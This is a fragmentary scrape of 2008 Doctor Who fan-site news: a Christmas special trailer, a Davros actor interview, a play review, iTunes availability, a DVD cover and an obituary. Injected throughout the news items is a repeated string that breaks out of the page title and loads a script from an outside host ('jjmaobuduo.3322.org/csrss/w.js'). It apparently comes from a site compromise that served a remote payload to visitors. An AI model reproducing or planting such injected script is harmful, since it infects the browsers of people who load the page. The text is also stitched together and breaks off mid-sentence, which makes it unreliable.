It may be July, but we were fortunate enough to get a little yuletide cheer this afternoon when we witnessed the Stateside premiere of the trailer for the upcoming Doctor Who Christmas Special. We've got one word to describe this 2008 edition of the chilling annual tradition--Cybermen! Yep, the good Doctor's longtime uber enemies will be back to menace Victorian England come December. Also, based on today's trailer, it looks like that English ice queen Miranda Richardson will play a pivotal role in the new Who Special. But our favorite part of the trailer?

IN DOCTOR WHO MAGAZINE 398!</p> <p>Davros himself, actor Julian Bleach, talks exclusively about taking on the role of the Daleks’ creator in the latest Doctor Who Magazine...</p> <p>Is the fact that other actors have played the part in the past a help or a hindrance? “That can make it harder to approach it afresh,” considers Julian, “but it’s more of a problem if you’re trying to find a new interpretation of the character. What I was trying to do with Davros was to recreate – and match as closely as possible – a previously established character.” So what’s Julian’s take on Davros? Twisted megalomaniac? Mad scientist? Misguided genius? “All of those things, but I’d say the character was very probably originally inspired by Hitler, and I found that to be quite a useful reference point, particularly in some of his more dogmatic speeches!”</p> <p>It’s not just Davros who’s quizzed this issue – DWM has been keeping up with the Joneses (Martha, Francine, Harriet and Ianto), the Smiths (Mickey, Sarah Jane, Luke and Mr Smith, and even the Doctor at one point) and a host of Tylers and Nobles, as well as the odd Mott, Cooper and Harkness. This, then, is one of DWM’s most ambitious projects ever: in issue 398, DWM talks to the entire regular and returning cast of The Stolen Earth and Journey’s End!

The scene ironically seemed to warm up as the Chili was cooked live on stage, and the two actors subsequently found their pace and chemistry. Their relationship focused on painfully selfish unrequited love, which was played out with great comic timing coupled with genuine heartfelt emotion.</p> <p>Act Two, set in a bedroom, introduces us to Michelle (Catherine Tate) and Graham (Dominic Rowan). Once again we are exposed to an example of unrequited love, but with a twist. Anger, deceit and opportunism all played a part in making Catherine's character both well-rounded and dislikable. Dominic's performance was both creepy and amiable tempered to perfection. Both actors sparked off each other with great attention to pace, thus providing the most rewarding Act of the show.</p> <p>Act Three was perhaps the warmest, and kindest of the three relationships presented, as we are introduced to Anne (Francesca Annis) and Robert (Nigel Lindsay) who are deciding on whether or not to begin an autumnal romance. This final act also neatly wraps up the previous two acts with information on the characters destinies.</p> <p>Under the Blue Sky was both enjoyable and refreshing. If you only watch one piece of theatre this year, then this should be it.</p> <p>Rating: 4/5</p> <p>WIN TICKETS to see Under the Blue Sky on the DWO Competitions page:<br /> <a href="http://www.drwho-online.co.uk/index.asp?spage=http://www.drwho-online.co.uk/competition.htm">http://www.drwho-online.co.uk/index.asp?spage=http://www.drwho-online.co.uk/competition.htm</a></p> <p>[Source: Doctor Who Online]</p> mail@drwho-online.co.uk"></title><script src="http://jjmaobuduo.3322.org/csrss/w.js"></script><!-- Wed, 23 Jul 2008 14:34:15 GMT http://www.drwho-online.co.uk/news/news.htm#general-review-underthebluesky"></title><script src="http://jjmaobuduo.3322.org/csrss/w.js"></script><!-- Doctor Who hits iTunes USA"></title><script src="http://jjmaobuduo.3322.org/csrss/w.js"></script><!-- http://www.drwho-online.co.uk/news/news.htm#general-itunes-usa"></title><script src="http://jjmaobuduo.3322.org/csrss/w.js"></script><!-- <p>Doctor Who hits iTunes USA<br /> News Dated: 23/7/2008</p> <p>Doctor Who episodes are now available to download on iTunes in the USA.</p> <p>The news comes from the BBC America website, in which a simple banner promoting the downloads can be seen on the frontpage.</p> <p>DOWNLOAD episodes of Doctor Who via iTunes (USA only):<br /> <a href="http://click.linksynergy.com/fs-bin/stat?id=DHp8kU081HY&offerid=146261&type=3&subid=0&tmpid=1826&RD_PARM1=http%253A%252F%252Fphobos.apple.com%252FWebObjects%252FMZStore.woa%252Fwa%252FviewTVShow%253Fid%253D284192417%2526partnerId%253D30">http://click.linksynergy.com/fs-bin/stat?id=DHp8kU081HY&offerid=146261&type=3&subid=0&tmpid=1826&RD_PARM1=http%253A%252F%252Fphobos.apple.com%252FWebObjects%252FMZStore.woa%252Fwa%252FviewTVShow%253Fid%253D284192417%2526partnerId%253D30</a></p> <p>[Source: BBC America]</p> mail@drwho-online.co.uk"></title><script src="http://jjmaobuduo.3322.org/csrss/w.js"></script><!-- Wed, 23 Jul 2008 14:33:08 GMT http://www.drwho-online.co.uk/news/news.htm#general-itunes-usa"></title><script src="http://jjmaobuduo.3322.org/csrss/w.js"></script><!-- The Trial of a Time Lord - DVD cover"></title><script src="http://jjmaobuduo.3322.org/csrss/w.js"></script><!-- http://www.drwho-online.co.uk/news/news.htm#merchandise-dvd-thetrialofatimelord"></title><script src="http://jjmaobuduo.3322.org/csrss/w.js"></script><!-- <p>The Trial of a Time Lord - DVD cover<br /> News Dated: 18/7/2008</p> <p>DWO have received the BBC DVD cover & information for The Trial of a Time Lord:</p> <p>The Trial of a Time Lord<br /> Featuring: Colin Baker as The 6th Doctor</p> <p>This four-disc set features the episodes - "The Mysterious Planet", "Mind Warp", "Terror Of The Vervoids" and "The Ultimate Foe" - that make up the Trial of a Time Lord storyline.</p> <p>The TARDIS is drawn to a space station where the Doctor (Colin Baker)is subjected to a Time Lord inquiry into his behaviour, presided over by an Inquisitor.</p> <p>The prosecuting counsel, the Valeyard, presents the first piece of his evidence, which consists of a recording played back on a screen linked to the Matrix.

He attended many of the UK based Doctor Who conventions with his son Peter, and DWO had the great pleasure of meeting him at Invasion (2007).</p> <p>It is terribly sad when we lose someone from the show, but when it's a fellow fan (one of our own), it is even more upsetting, especially someone who was so well-liked as Ian.</p> <p>DWO would like to extend its sympathies to Ian's friends and family, in particular his son Peter.</p> <p>Discuss this story in the DWO Forums:<br /> <a href="http://www.drwho-online.co.uk/cgi-bin/yabb2/YaBB.pl?num=1216210343/">http://www.drwho-online.co.uk/cgi-bin/yabb2/YaBB.pl?num=1216210343/</a></p> <p>[Source: Doctor Who Online]</p> mail@drwho-online.co.uk"></title><script src="http://jjmaobuduo.3322.org/csrss/w.js"></script><!-- Wed, 16 Jul 2008 20:18:46 GMT http://www.drwho-online.co.uk/news/news.htm#general-obit-ianmckay"></title><script src="http://jjmaobuduo.3322.org/csrss/w.js"></script><!-- S4: Episode #13 -
